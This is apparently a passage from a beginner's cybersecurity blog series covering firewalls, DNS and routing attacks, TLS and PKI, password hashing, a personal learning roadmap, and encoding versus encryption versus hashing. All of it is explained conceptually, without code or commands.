2. Stateful Firewalls (Most Common)

Stateful = firewall remembers active connections.

Tracks TCP handshake & status
Tracks UDP “pseudo-sessions”
Automatically allows return traffic for legitimate sessions
Makes spoofing harder

If you initiate a request, response traffic is allowed.

3. Next-Generation Firewalls (L7)

NGFW look into the application layer, not just ports.

They can inspect:

HTTP
DNS
TLS certificates
API calls
Malware patterns

Examples:

Port 443 but not real HTTPS → suspicious
Detect DNS tunneling
Block apps like TikTok/WhatsApp

They inspect the actual content, not just the port number.

4. Tools That Work With Ports & Protocols
Nmap

Port scanning
Service/version detection
OS fingerprinting
Used by pentesters & attackers

Wireshark

Packet capture/analysis
Shows protocols, headers, payloads
Great for learning & debugging

iptables/ufw/Windows Firewall

Create rules for ports, IPs, protocols

IDS/IPS (Snort, Suricata)

Deep inspection
Detect/block suspicious behavior

9. Why Understanding OSI & TCP/IP Matters in Cybersecurity

Attackers don’t “hack the internet.” They exploit specific layers.
Knowing OSI and TCP/IP makes cybersecurity much easier because every attack, tool, and protocol sits on a specific layer. ARP spoofing is Layer 2, IP spoofing is Layer 3, SYN floods are Layer 4, and web attacks like SQL injection are Layer 7. Firewalls, VPNs, WAFs, and IDS/IPS also work at different layers, so understanding the models helps you see where protection happens and where vulnerabilities live. When you analyze traffic in Wireshark or troubleshoot network issues, these layers give you a mental map to understand what’s happening. In short: OSI/TCP-IP help you locate attacks, understand protocols, and communicate clearly in security work.

10. Summary and What Comes Next (Part 2 Preview)

In this first part, we built the foundation every cybersecurity learner needs: how the OSI **and **TCP/IP models work, how data moves through layers, and how ports and protocols define communication between systems. These concepts will come up again and again in security, whether you're analyzing traffic, detecting attacks, or understanding how tools interact with networks.

In Part 2, we go deeper into DNS, routing, and how the internet actually moves your packets around. You'll learn how domain names resolve, how routers decide where traffic goes, why DNS is frequently attacked, and how routing weaknesses can be exploited. Understanding these systems is essential before moving on to VPNs, proxies, firewalls, sniffing, and scanning.

Next: Networking for Cybersecurity (Part 2): DNS, Routing & How the Internet Works

Networking for Cybersecurity (Part 2): DNS, Routing & How the Internet Works

Elvin Seyidov — Mon, 08 Dec 2025 22:00:19 +0000

1. Introduction: Why DNS & Routing Matter in Cybersecurity

DNS and routing are the core of how the internet works. If OSI/TCP-IP explains the structure, DNS and routing explain how devices actually find each other and how data moves from point A to point B. For cybersecurity, this is critical because attackers often target these systems directly - not your app.

DNS decides where you go.
Routing decides how you get there.
DNS decides the destination. Routing decides the path. Attackers abuse both.

If either of these is manipulated, attackers can:

Redirect you to fake websites
Intercept or reroute traffic
Bypass normal security paths
Hide malware communication
Take parts of the internet offline

Understanding DNS and routing helps you see how traffic flows, where attacks can happen, and how to defend against them. These are not just networking concepts, they are core security concepts, because nearly every major cyberattack interacts with DNS, routing, or both.

A cybersecurity engineer who understands DNS + routing can:

Detect DNS poisoning
Recognize BGP hijacks
Understand how malware hides traffic
Debug why traffic is failing
Secure internal networks
Spot suspicious redirections instantly

2. What DNS Really Does (Full Breakdown)

DNS has three main jobs.

It translates names to IP addresses.
It stores extra information about domains.
It routes your request through a chain of DNS servers until the final answer is found.

DNS is not only a phonebook. It also handles email routing, load balancing, content delivery, subdomain management, and security settings. Many problems on the internet happen because DNS is slow, misconfigured, or poisoned by attackers.

From a security perspective, DNS is a critical point in the communication chain. If an attacker controls DNS, they control where users go. That means they can redirect users to fake sites, hide malware traffic inside DNS queries, or send victims to malicious servers without them noticing.

DNS looks simple on the surface but has many layers and moving parts. Understanding it gives you a huge advantage in detecting and preventing network attacks.

3. DNS Records and Their Security Implications

DNS records are small pieces of information stored in DNS that tell the internet how a domain should behave. Each record type has a specific purpose, and each one can create security risks if not configured correctly.

A Record
Maps a domain name (example.com) to an IPv4 address.
Security note: If an attacker changes this record, users get redirected to a malicious IP.

AAAA Record
Same as A record but for IPv6 addresses.
Security note: Same risk as A record but harder to monitor because IPv6 is less visible.

CNAME
Makes one domain point to another domain.
Security note: If the target domain is compromised, all CNAME-linked domains are also affected.

MX Record
Defines which mail servers handle email for the domain.
Security note: Misconfigured MX records lead to email spoofing and interception.

TXT Record
Stores text. Used for SPF, DKIM, DMARC and verification.
Security note: Incorrect SPF or DMARC settings make email spoofing much easier.

NS Record
Specifies which DNS servers are authoritative for the domain.
Security note: If an attacker changes the NS record, they control the entire domain’s DNS.

SOA Record
Contains administrative info about the domain’s zone.
Security note: Weak SOA settings can make DNS updates less reliable or easier to abuse.

PTR Record
Reverse DNS lookup. IP to domain.
Security note: Often used in email security. Missing PTR increases spam flags.

SRV Record
Used to specify services like SIP, VoIP, or AD domain controllers.
Security note: Wrong SRV records expose internal infrastructure details.

CAA Record
Specifies which certificate authorities are allowed to issue SSL certificates for your domain.
Security note: Protects against unauthorized HTTPS certificates being issued.

4. DNS Resolution: Step-by-Step Process

When you type a domain into your browser, your device must go through several steps to find the correct IP address. This sequence is called DNS resolution. It looks simple on the surface, but there are multiple layers and servers involved.

Here is the full process in plain language.

Step 1: Your device checks its own cache.
If the answer was recently resolved, it is stored locally. No external request is made.

Step 2: Your device asks the DNS resolver (usually your ISP or a public resolver like 8.8.8.8).
The resolver is responsible for doing the full lookup on your behalf.

Step 3: The resolver checks its cache.
If found, it returns the IP immediately.

Step 4: If not found, the resolver contacts a root DNS server.
Root servers tell it which top-level domain server to ask next (for .com, .net, etc).

Step 5: The resolver contacts the TLD server.
The TLD server tells it which authoritative DNS server is responsible for the domain.

Step 6: The resolver contacts the authoritative DNS server.
This server holds the real DNS records for the domain. It returns the final answer (A, AAAA, or CNAME record).

Step 7: The resolver sends the answer back to your device.
Your device stores it in local cache for a short time.

Step 8: Your browser now knows the correct IP and begins the connection using TCP or UDP.

From a cybersecurity perspective, every step is a potential attack surface. DNS poisoning, man-in-the-middle, spoofing, cache manipulation, and forged responses can all occur in this chain if protections like DNSSEC are not used.

5. DNS Attacks and Security Weaknesses

DNS was designed for speed and simplicity, not security. Because of this, attackers often target DNS to redirect users, steal data, or hide malicious traffic. Understanding these weaknesses is essential for cybersecurity work.

Most common DNS attacks:
DNS Cache Poisoning
The attacker injects a fake DNS response into a resolver’s cache. This causes users to be redirected to a malicious site until the cache expires.

DNS Spoofing
The attacker forges a DNS reply faster than the real server. Your device receives a fake IP and connects to the wrong server.

DNS Hijacking
The attacker gains control of DNS records, nameservers, or the domain registrar. This gives full control over the domain’s traffic.

Rogue DNS Servers
The attacker tricks users into using a fake DNS resolver (through Wi-Fi, malware, or router hacks). All DNS queries are intercepted and modified.

DNS Tunneling
Attackers hide data inside DNS queries to bypass firewalls and exfiltrate information. Often used by malware or covert channels.

Domain Shadowing
Attackers compromise a real domain’s DNS account and quietly create hidden subdomains for phishing or malware.

NXDOMAIN Attacks
Attackers flood DNS servers with queries for non-existent domains. This slows or crashes the DNS infrastructure.

DNS Amplification (DDoS)
Attackers use DNS servers to create massive traffic and overwhelm a victim. Small DNS request turns into a very large response, magnifying the attack.

6. How Routing Works on the Internet

Routing is the process of moving data from one network to another until it reaches the correct destination. Every device connected to the internet uses routers to decide the best path for each packet.

Your device does not send data directly to the final server. It sends data to your router, and that router forwards it to another router, and so on, until the packet reaches the destination network.

Routers build and maintain routing tables to decide these paths. These tables contain networks, next hops, and metrics to determine the most efficient route. As the packet travels, each router examines the destination IP and chooses the next hop.

Routing works at Layer 3 (the Network layer). This is where IP addresses and network prefixes matter. No matter how complex the internet is, routing always follows this pattern: look at the destination IP, match it to the best route, forward the packet.

7. IP Addressing, Subnets & CIDR (Security View)

IP addressing, subnetting and CIDR decide how networks are divided, who can talk to whom, and where traffic is allowed to go. From a cybersecurity perspective, these concepts are not just networking basics. They directly affect attack surface, network isolation, access control and traffic visibility.

IP Addressing
Every device gets an IP address so it can send and receive data.
If an attacker knows the IP range of a network, they know what to scan and target. Public IPs are visible on the internet, private IPs stay inside internal networks.

Subnets
A subnet divides a large network into smaller segments.
This is one of the most powerful security tools. Subnets isolate systems so attackers cannot move freely inside the network. A flat network means one compromise can spread everywhere.

CIDR
CIDR notation (for example, 192.168.1.0/24) defines how many IPs a network contains. Smaller CIDR ranges limit exposure. Larger ranges expose more hosts. Good CIDR planning reduces unnecessary access between systems and makes intrusion detection easier.

Security importance

Subnet boundaries limit lateral movement.
Sensitive systems should live in restricted subnets.
Firewalls use CIDR blocks to permit or deny access.
Attackers scan entire subnets to find weak devices.
Wrong subnetting exposes internal services to outsiders.
Poor segmentation allows ransomware to spread quickly.

IP ranges tell you what exists. Subnets separate what should be isolated. CIDR defines how large or small each segment is.

8. How Routers Forward Packets (Routing Tables & Decisions)

A router does not understand websites or applications. It only cares about the destination IP address. When a packet arrives, the router looks at the IP, finds the closest matching network in its routing table, and forwards the packet to the next hop.

Routing tables contain entries such as:
Network prefix, next hop router, interface to use, and a metric that tells which path is better. Routes can be learned dynamically from other routers or configured manually.

Routers never modify the actual content of the packet. They only adjust the Layer 2 headers as the packet moves across different networks. This enables the packet to hop from one network to another until it reaches its destination.

9. BGP: The Protocol That Runs the Internet

BGP (Border Gateway Protocol) is the system that decides how traffic moves between different networks across the entire internet. Every internet service provider, cloud provider, and large organization uses BGP to announce which IP ranges they own and how to reach them.

BGP is basically the "global routing protocol." Routers inside a single company use internal routing, but once traffic goes outside your network, BGP tells the internet where to send it next. It connects thousands of independent networks into one global internet.

BGP works through announcements. A network tells the world: “These IP ranges belong to me. Send traffic here through this path.” Other networks learn these routes and build a massive worldwide routing map.

The problem is that BGP trusts everyone by default. There is no authentication built into the original design. If a network announces routes it does not own, others may accept it. This causes major issues.

Incorrect or malicious BGP announcements can:

Redirect traffic to the wrong place.
Cause outages by blackholing routes.
Enable large-scale man-in-the-middle attacks.
Make parts of the internet disappear temporarily.
Slow down or break routing paths.

10. Routing Attacks and Traffic Hijacking

Routing attacks target the systems that move data across networks. If an attacker can influence routing, they can intercept traffic, reroute it, or make parts of the network unreachable. These attacks do not target applications or servers directly. They target the path that packets take.

BGP Hijacking
A network announces IP ranges it does not own. Other networks accept this announcement and start sending traffic to the wrong place. The attacker can intercept, drop, or inspect the traffic. This is one of the most dangerous routing attacks on the internet.

BGP Route Leaks
A network accidentally announces internal routes to the public internet. This causes traffic to take inefficient or completely broken paths. It can disrupt global routing even if it is not intentional.

Man-in-the-Middle via Routing
If an attacker controls a router or influences routing tables, they can quietly pass traffic through their network. The user sees nothing suspicious, but all packets flow through the attacker.

Blackholing Traffic
A malicious or misconfigured route sends traffic into a place where it gets dropped. This makes a service or region unreachable.

ICMP Redirect Attacks
Routers use ICMP to suggest better paths. Attackers send fake ICMP redirects to trick devices into sending traffic to them instead of the real router.

Route Manipulation Inside Local Networks
Incorrect static routes or compromised routers inside a company network can redirect internal traffic to rogue devices.

11. Putting It Together: How Data Travels Across the Internet

Here is the full journey in simple terms.

Your browser wants to reach a domain.
It asks DNS to translate the name into an IP address.
DNS resolvers contact root, TLD and authoritative servers to get the correct IP.
Your device caches the answer and begins sending packets toward that IP.

Your packet goes to your router.
Your router checks its routing table and sends the packet to the next hop.
Each router along the way does the same: look at the IP, choose a path, forward it.

Inside your local network, switching happens at Layer 2.
Once the packet leaves your network, Layer 3 routing takes over.
Across the internet, BGP decides which networks your packet must pass through.

Eventually the packet reaches the destination server’s network.
Local routers deliver it to the correct server.
The server processes the request and sends a response back through the same chain.

Every step in this journey is an attack surface.

DNS can be poisoned.
Routers can be misconfigured or hijacked.
BGP can redirect traffic.
Local networks can be spoofed.
Firewalls can block or allow incorrectly.

12. Summary and What Comes Next (Part 3 Preview)

In this part, you learned how the internet actually works beneath the surface: how DNS resolves names into IP addresses, how **routing **directs packets across networks, how **BGP **keeps the global internet connected, and how attackers can abuse these systems through poisoning, hijacking, and manipulation. Understanding DNS and routing is essential for every cybersecurity professional because attacks often begin by targeting these foundational layers.

In Part 3, we move from “how traffic travels” to how traffic is secured, filtered, and controlled. We’ll explore firewalls, VPNs, proxies, tunneling, split tunneling, and modern Zero Trust Network Access. These topics form the defensive perimeter of nearly every organization and are crucial for understanding secure access and network hardening.

Next: Networking for Cybersecurity (Part 3): Firewalls, VPNs & Proxies

A Deep Cybersecurity View of Encryption

Elvin Seyidov — Thu, 04 Dec 2025 22:36:56 +0000

When people first learn encryption, they imagine a simple system where one key locks data and another unlocks it. But real cybersecurity uses a much richer architecture: AES, RSA, ECC, TLS handshakes, cipher suites, key exchange algorithms, certificate validation, and more. This article breaks down these pieces and explains how real-world encryption protects data across the internet.

Encryption: Two Way Protection

Encryption turns readable data into unreadable ciphertext. With the correct key, it can be reversed.

There are two types.

Symmetric Encryption

Uses a single key to both encrypt and decrypt data. The same key locks and unlocks the information.
Used in:

WiFi
VPN
Disk encryption
TLS sessions

AES

A modern and very strong symmetric encryption standard.
It is used everywhere today because it is fast and secure.

DES

An old symmetric cipher that is no longer safe.
Its key size is too small, making it easy to crack.

3DES

An improved version of DES but still outdated.
It is slower and weaker compared to modern AES.

Asymmetric Encryption
Uses two different keys: one public and one private. The public key encrypts, and the private key decrypts.
Used in:

HTTPS
Digital signatures
Identity verification
Secure email

RSA

A well-known asymmetric algorithm that uses large keys.
Reliable but slower and older compared to newer systems.

ECC (Elliptic Curve Cryptography)

A modern asymmetric system with smaller keys and equal strength.
It is faster, lighter, and widely used in modern security systems.

Cipher Modes (How Block Encryption Works)

Block ciphers like AES encrypt only fixed-size pieces of data, so we need “modes” to handle real messages.
Think of AES as a machine that can only lock small boxes; cipher modes explain how to lock a whole suitcase full of boxes.

CBC (Cipher Block Chaining)

CBC encrypts each block by combining it with the previous encrypted block.
This dependency creates a chain, but also makes CBC vulnerable to padding oracle attacks and outdated for modern use.
Imagine linking boxes together - if the first link breaks, everything after it becomes unsafe.

GCM (Galois/Counter Mode)

GCM uses counter mode encryption plus a built-in integrity check.
It provides confidentiality, integrity, and authenticity at the same time and is the standard in modern TLS.
It’s like locking your box and also putting a tamper-proof seal on it.

TLS Handshake

The TLS handshake is the process where two sides securely agree on encryption before any data is exchanged.
It sets up keys, verifies certificates, and chooses secure algorithms.
It’s like two people agreeing on a secret language first, before they start talking.

During the handshake, the client and server:

Agree on encryption algorithms
Exchange public keys
Verify certificates
Create a temporary symmetric session key

This session key is what encrypts all data afterward.

Cipher Suites

A cipher suite is a predefined “recipe” listing which algorithms will be used during a TLS session.
It defines the exact combination of AES mode, RSA/ECC method, hashing algorithm, and handshake mechanism.
Imagine ordering a combo meal - everything in the combo is fixed: drink, burger, fries. A cipher suite is a “security combo.”

A typical modern cipher suite uses:

ECDHE for key exchange
AES-GCM for encryption
SHA-256 for integrity

Each part plays a role in securing the connection.

TLS, Certificates, Keys, Trust

TLS (Transport Layer Security)

TLS provides a secure, encrypted connection between a client and a server.
It combines AES, RSA/ECC, certificates, and key exchange to protect data.
It’s like creating a private, locked tunnel between two computers so no one else can read the conversation.

SSL

SSL is the older version of TLS.
It is outdated and no longer considered safe.
Think of SSL like an old, broken lock - people used it before, but no one trusts it today.

Key Exchange Methods

DH (Diffie–Hellman)

A method that allows two parties to create a shared secret key over an insecure network.
No secret needs to be sent directly; both sides compute it separately.
It’s like two people independently creating the same secret number without ever telling each other what it is.

ECDH (Elliptic Curve Diffie–Hellman)

The elliptic-curve version of Diffie–Hellman.
It provides the same result but with smaller keys and better security per bit.
It’s the faster, stronger, modern version of DH - same idea, better performance.

PKI (Public Key Infrastructure)

PKI is the full system that makes browsers and devices trust websites.
It includes certificates, certificate authorities, trust chains, revocation, and validation systems.
PKI is like the world’s ID system for the internet - it proves who is real.

PKI is not a single tool.
It is the entire trust framework that the internet depends on.

Root Trust

Your device contains a built-in list of trusted Certificate Authorities (CAs).
If a root CA is trusted, any certificate issued under it is trusted automatically.
It’s like your phone already knowing which ID offices are legitimate.

Certificate

A digital document that proves the identity of a website, server, or software.
It contains the public key, domain name, issuer, expiration date, and cryptographic signatures.
A certificate is like an online ID card that proves a website is really who it claims to be.

Server Certificate

The certificate installed on a website or API server.
Browsers check it during the TLS handshake to confirm identity.
It’s like the website showing its ID before you talk to it.

Intermediate Certificate

A certificate issued by a trusted root CA and used to sign server certificates.
It forms part of the certificate chain and helps distribute trust securely.
Think of it as a manager who verifies employees on behalf of the company owner.

Root Certificate

The top-level certificate stored directly in your device’s trust store.
If a root certificate is trusted, all certificates beneath it are trusted.
The root certificate is like the highest authority that everyone trusts by default.

Certificate Validity

Certificates have expiration dates to limit risk.
Expired certificates immediately lose trust and must be renewed.
Just like passports, certificates are not valid forever.

Self-Signed Certificate

A certificate that is signed by itself instead of a CA.
Useful for development, internal systems, or testing, but not trusted publicly.
It’s like writing your own ID at home - useful privately, useless publicly.

Wildcard Certificate

A certificate that covers all subdomains of a domain (e.g., *.example.com).
It simplifies management for large systems.
It’s like one ID badge that unlocks every room in a building.

CA (Certificate Authority)

A trusted organization that issues certificates to websites and companies.
Browsers trust these certificates because they trust the CA.
A CA is like a government office that issues official IDs.

OCSP (Online Certificate Status Protocol)

A real-time method to check if a certificate is still valid.
Faster and more modern than CRLs.
Like calling the ID office to ask: “Is this ID still good?”

Certificate Chain

A chain connecting the server certificate → intermediate CA → root CA.
Browsers follow this chain to verify trust.
It’s like verifying an employee by checking their manager, then the company owner.

EV Certificates (Extended Validation)

Certificates issued after stronger identity checks.
Security is the same, but identity verification is stricter.
It’s like a passport that went through extra background checks.

Certificate Pinning

An app or service chooses to trust only one specific certificate or public key.
This blocks fake certificates even if a CA is compromised.
It's like saying “I trust only THIS exact ID, no substitutes.”

Key Lifecycle

Keys must be securely generated, stored, rotated, expired, and destroyed.
Lifecycle management keeps systems safe and minimizes risk.
Just like changing locks over time, keys can’t stay the same forever.

Code Signing

Software is signed with a private key to prove authenticity.
The system verifies the signature before running the software.
It's like sealed packaging - if the seal is broken, don’t trust it.

Trust Chain

The trust chain is the sequence of certificates that link a server certificate back to a trusted root certificate.
Each certificate is signed by the one above it, forming a chain of trust.
It’s like verifying a person through their manager, then the company owner - each level confirms the one below.

Revocation List

A revocation list is a published list of certificates that are no longer valid or trusted.
It tells browsers which certificates should be rejected even if they haven't expired.
It’s like a list of ID cards that have been canceled and should no longer be accepted.

CRL (Certificate Revocation List)

A CRL is a file maintained by a Certificate Authority listing all revoked certificates.
Browsers can download it to check whether a certificate has been revoked.
Think of it as a printed list of banned ID numbers updated regularly.

Authentication and Identity Security

Kerberos

Kerberos is an authentication protocol that uses encrypted tickets to verify identity in Windows networks.
It relies on symmetric encryption and key distribution centers to authenticate users securely.
It’s like getting a stamped “entry ticket” that proves who you are without showing your password again.

WPA3

WPA3 is the modern Wi-Fi security standard using strong encryption and key exchange.
It replaces WPA2 with safer algorithms, forward secrecy, and protection against brute-force attacks.
It’s the upgraded lock on your Wi-Fi that attackers cannot easily break.

SAML

SAML is an enterprise identity protocol that uses signed and sometimes encrypted XML messages.
It relies on digital signatures and optional encryption to transfer identity securely.
It’s like sending a sealed and stamped letter that proves who you are to another website.

OIDC (OpenID Connect)

OIDC is an identity protocol built on OAuth2 that uses signed JSON tokens (ID Tokens).
It heavily relies on JWTs, signatures, and encryption options to securely carry identity data.
It’s like a digital ID card signed by a trusted provider.

JWT (JSON Web Token)

JWT is a token format that uses signatures (and sometimes encryption) to protect data.
The token ensures the data hasn’t been changed and can optionally hide the contents with encryption.
It’s like a tamper-proof envelope - you can’t alter it without breaking the seal.

Access Tokens

Access tokens are short-lived credentials used to access APIs securely.
They are often signed (or encrypted) to prevent tampering.
It’s like a temporary access pass that expires quickly for safety.

Federation

Federation allows identity information to be securely shared across different systems.
It uses signing and encryption to ensure identities are transferred safely.
It’s like two companies agreeing to trust each other’s ID cards.

Encryption can seem overwhelming at first, but once you see how the algorithms, keys, and trust layers connect, the entire system becomes understandable. This foundation will help you learn even deeper cybersecurity concepts later.

A Deep Cybersecurity View of Hashing

Elvin Seyidov — Wed, 03 Dec 2025 06:56:16 +0000

When I first started learning cybersecurity, I thought hashing was just a simple one-way function that turns data into a fixed-length value. But later I realized that real systems use hashing in many deeper and more complex ways—password storage, integrity checks, digital signatures, HMAC, KDFs like PBKDF2 and Argon2, salting, peppering, and protection against attacks such as rainbow tables or brute force.

In this article, I explain hashing from both the beginner perspective and the real-world cybersecurity perspective, showing how all these pieces fit together into a complete security system.

Hashing converts data into a fixed-length value using a one-way mathematical function that cannot be reversed.
It is used to verify integrity, protect passwords, and ensure security without ever exposing the original data.

Message digest

The result produced by a hash function.
It’s a fixed-length “fingerprint” of the input data.

Collision resistance

A property that makes it hard to find two inputs with the same hash.
Good hash functions make collisions practically impossible.

MD5

An old hashing algorithm that is now broken.
Collisions are easy to create, so it should never be used for security.

SHA1

A once-popular hashing algorithm that is now considered weak.
Attackers can generate collisions with modern hardware.

SHA-2 (SHA-256, SHA-512)

A very strong and secure family of hash algorithms.
Widely used today for passwords, signatures, and certificates.

SHA-256

A strong 256-bit hash function.
Think of it like a solid metal security door.

SHA-512

Same family as SHA-256 but with a longer 512-bit output.
Like the same metal door, but thicker and even stronger.

SHA-3

A newer hashing standard with a completely different design.
Considered very secure and resistant to modern attacks.

Salt

A random value added to a password before hashing.
It prevents attackers from using rainbow tables.

Pepper

A secret value stored separately from the database.
Even if the database is stolen, the pepper adds extra protection.

Rainbow Tables

Huge pre-computed lists of hashes and their matching inputs.
Adding a salt completely destroys the effectiveness of rainbow tables.

bcrypt

A slow hashing algorithm with an automatic salt.
Still very strong and commonly used for password storage.

Argon2

Next-generation hashing algorithm with memory-hard design.
Very difficult for GPUs or ASIC machines to crack.

Key Derivation Functions (KDFs)

A KDF (Key Derivation Function) is a cryptographic algorithm used to take a weak secret (like a password) and turn it into a strong, secure cryptographic key.

KDF2

KDF2 is a standardized Key Derivation Function used in cryptography. Human passwords are weak, short, predictable. KDF2 transforms them into long, random-like keys that are safe for encryption.

Simple explanation:

It takes an input (password or shared secret)
Passes it through a hash function many times
Produces a strong cryptographic key Human passwords are weak, short, predictable. KDF2 transforms them into long, random-like keys that are safe for encryption.

PBKDF2 (Password-Based Key Derivation Function 2)

PBKDF2 is one of the most widely used KDFs today (in Django, AWS, WPA2 WiFi, etc.).

What it does:

Takes a password
Adds a salt
Repeats hashing thousands or millions of times
Produces a secure key

Why it is secure:
The repeated hashing makes it slow on purpose, making brute-force attacks extremely expensive.
Use cases:

Storing password hashes
Deriving encryption keys
Protecting user authentication data

HMAC (Hash-Based Message Authentication Code)

What it is:
HMAC is a cryptographic method that uses:

A hash function (SHA-256, SHA-512, etc.)
A secret key

to produce a secure code that proves:

The message is genuine (authentication)
The message was not changed (integrity)

Simple explanation:
HMAC = hash(message + secret key)

An attacker cannot forge the HMAC because they do not know the secret key.

Why it’s used:

Protects API requests (e.g., AWS S3 signatures)
Protects cookies and session tokens
Provides integrity and authenticity in network protocols

Difference from hashing:
Hashing alone does NOT require a key → anyone can recompute it.
HMAC uses a secret key, so only someone with that key can produce the correct code.

Hashing is everywhere in cybersecurity, from passwords to digital signatures. Once you understand how it works and why it’s designed this way, many other security concepts start to make sense.

Cybersecurity Roadmap for Myself (And Anyone Starting Fresh)

Elvin Seyidov — Tue, 02 Dec 2025 17:09:53 +0000

I recently started learning cybersecurity. I am a full stack developer with more than five years of experience, but before that I actually studied medical university. Even during my medical studies, I always had passion for technology. When I decided to switch to tech, I tried to learn everything at the same time. I studied PHP, Java, C Sharp, frontend, backend, networks, and even Arduino robotics. Later I understood that this was a mistake. You cannot learn everything. You must choose one direction and stay with it. You learn side technologies only to support your main skill.

For many years I also wanted to start cybersecurity, but I did not take the risk. In my country Azerbaijan, cybersecurity was not very famous, and finding a job in this field was very hard. Because of this, I decided to become a backend heavy full stack developer. Now, after five years of experience, I finally feel ready to start cybersecurity.

My past mistakes will help me now. I already have light knowledge in many areas related to cybersecurity, so I believe it will not be too difficult to move deeper. But after many days of reading and searching, I also understood something important. Cybersecurity changed a lot. Now you need stronger skills in cloud, web security, servers, networks, and not only simple tools.

Right now I still do not know which area of cybersecurity I want to choose. For now I want to start learning, and later, when I get some real experience, I will decide. At the beginning I will focus on networking, how the internet works, basic security terms, Linux and security tools, and deeper server knowledge. Even though I know these from development, I want to make my understanding stronger.

So this article is my personal roadmap for becoming skilled in cybersecurity, and I hope it helps other beginners too. It’s not a super-advanced expert guide, it’s simple, practical, and focused on understanding the essentials step by step.

Phase 1: Core Fundamentals (Your Foundation)

Before trying hacking tools, exploitation, or attacking machines, you must understand how the internet, computers, and data actually work.

These are the fundamentals:

1. Networking Basics

Cybersecurity is impossible without networking knowledge.

Learn:

IP addresses (IPv4/IPv6)
Ports & protocols
TCP vs UDP
Subnetting (just basics)
DNS, DHCP, NAT, Routing
HTTP vs HTTPS

Why it matters:
Attackers use network weaknesses. Defenders monitor network traffic. Everything in cybersecurity touches networking.

2. Linux Fundamentals

Cybersecurity = Linux.
Kali, Parrot OS, Ubuntu - everything is Linux-based.

Learn:

Terminal basics (ls, cd, cat, grep, cp, mv)
User permissions (chmod, chown, sudo)
Processes (ps, top)
Networking commands (ip, ifconfig, netstat, ss)
File system structure

Why it matters:
Most tools run on Linux and most servers are Linux.

3. Security Mindset

Learn how attackers think:

Find weak points
Test assumptions
Abuse misconfigurations
Chain small issues into big exploits Learning “the mindset” is as important as tools.

Phase 2: Cryptography Essentials (Not Math, Just Understanding)

You don’t need deep math - only practical understanding.

Learn:

Hashing (SHA-256, SHA-1 weaknesses)
Encryption (AES, RSA, ECC)
Encoding (Base64)
HMAC
Salting & Password hashing (bcrypt, PBKDF2, Argon2)
Certificates & PKI
TLS/SSL basics

Why it matters:
Passwords, logins, HTTPS, VPNs, JWT tokens - everything uses cryptography.

Phase 3: Tools & Practical Skills

Now you can start touching the tools.

1. Network Scanning

Nmap
Masscan

Use these to discover hosts, ports, and services.

2. Traffic Analysis

Wireshark
Tcpdump

Learn to capture and analyze packets.

3. Web Pentesting Tools

Burp Suite
OWASP ZAP
Nikto
Gobuster

These help you find vulnerabilities in web apps.

4. Password Attacks

Hashcat
John the Ripper

Understand password cracking speeds, hashing types, and why strong passwords matter.

Phase 4: Web Security (OWASP Top 10)

Web is the biggest attack surface today.

Master these 10 vulnerability classes:

Injection (SQLi)
Broken Authentication
Sensitive Data Exposure
XSS (Cross-Site Scripting)
XXE
Broken Access Control
Security Misconfiguration
CSRF
Server-Side Request Forgery (SSRF)
Using Components with Known Vulnerabilities

Why it matters:
Most cybersecurity jobs involve defending or testing web apps.

Phase 5: Operating Systems, Processes & Hardening

Learn how systems work internally:

Windows internals
Linux internals
Logging & monitoring
Firewalls (iptables, ufw)
System hardening basics

This helps you understand how attackers escalate privileges or hide in systems.

Phase 6: Threat Detection & Monitoring (Blue Team Skills)

Blue Team skills are becoming extremely valuable.

Focus on:

SIEM (Security Information & Event Management)
Log analysis
Incident response steps
Alerts, detections, rules
MITRE ATT&CK framework
Basic forensics (memory, disk)

Phase 7: Offensive Security (Ethical Hacking)

Once you understand defenses, start learning offensive strategies.

Topics:

Reconnaissance & information gathering
Vulnerability scanning
Exploitation frameworks (Metasploit)
Password attacks
WiFi attacks
Privilege escalation
Pivoting & lateral movement
Covering tracks (only for learning, not abuse)

Practice on:

HackTheBox
TryHackMe
VulnHub
PortSwigger Labs

Phase 8: Cloud Security (AWS, Azure, GCP)

Modern companies run on the cloud.

Learn:

IAM (Identity & Access Management)
Permissions & roles
S3 bucket security
VPC networks
Cloud monitoring
Common cloud misconfigurations

Even basic cloud security knowledge boosts your value.

Phase 9: Pick Your Specialization

After gaining general skills, choose one direction:

Offensive:
Pentesting
Red Team
Malware analysis
Bug bounty
Defensive:
Blue Team
SOC Analyst
Incident responder
Threat hunter
Forensics
Security engineering:
Application security
Cloud security engineer
DevSecOps
Security automation

You don’t need to choose immediately - explore first.

Phase 10: Certifications (Optional but Helpful)

Not required, but good for jobs:

CompTIA Security+ (best beginner cert)
CompTIA Network+ (if networking is weak)
CEH (not very respected, but popular)
eJPT (good for beginners in offensive security)
OSCP (advanced ethical hacking certificate)

Conclusion

Cybersecurity is a long journey, but if you stay consistent and always stay curious, you will grow much faster than you expect.

This roadmap is not “perfect”, it’s simply my plan, and if you’re a beginner, it might help you too.

I’ll keep writing notes as I learn.
If you want to follow my journey, stay tuned for more posts.

Understanding Hashing, Encryption, and Encoding (Simple Overview)

Elvin Seyidov — Tue, 02 Dec 2025 17:06:45 +0000

When I started learning cybersecurity, one of the first things I wanted to understand clearly was the difference between hashing, encryption, and encoding. Many developers mix these terms, and even I used to confuse them earlier in my journey. But they are actually very different, and each one has a special purpose in security.

In this article I want to explain these three concepts in simple English, without using advanced math or complicated examples. My goal is to understand the idea behind each one and show where they are used in the real world of cybersecurity.

1. Encoding (Not Security, Just Format Change)

Encoding is the easiest one. Encoding does not protect data. It only changes the format of data so different systems can read it.

Examples of encoding:

Base64

Converts binary data into text-friendly characters.
Used to safely send images, files, and binary data through text-only systems.

URL Encoding

Replaces unsafe URL characters with %-codes (like space → %20).
Ensures URLs don’t break when sent over the internet.

ASCII

Maps characters to numbers using a simple 7-bit table.
Allows computers to consistently represent letters, digits, and symbols.

UTF-8

A universal character encoding that supports every language and emoji.
Ensures text from all languages displays correctly across systems.

Why encoding is used

To send data safely over the internet
To make sure special characters do not break a request
To convert data into a form that systems understand

Important note
Anyone can decode encoded data.
Encoding is not meant to hide or protect anything.
If your password or secret is only Base64 encoded, it is not secure at all.

2. Hashing (One Way, Cannot Reverse)

Hashing is a one way function.
Once you hash something, you cannot get the original value back.

Common hashing algorithms

SHA-256
SHA-1 (old and weak)
MD5 (very weak)

Why hashing is used

Password storage
File integrity checks
Digital signatures
Blockchain

Important rule

If a system stores your password as a plain hash, it is still not safe.
Why? Because hackers can try billions of guesses per second.

To make hashing safer, we add:

Salt (random data added before hashing)
Slow hashing algorithms like bcrypt, Argon2, PBKDF2

These slow functions make password cracking harder.

Why hashing matters in cybersecurity

Security engineers must know:

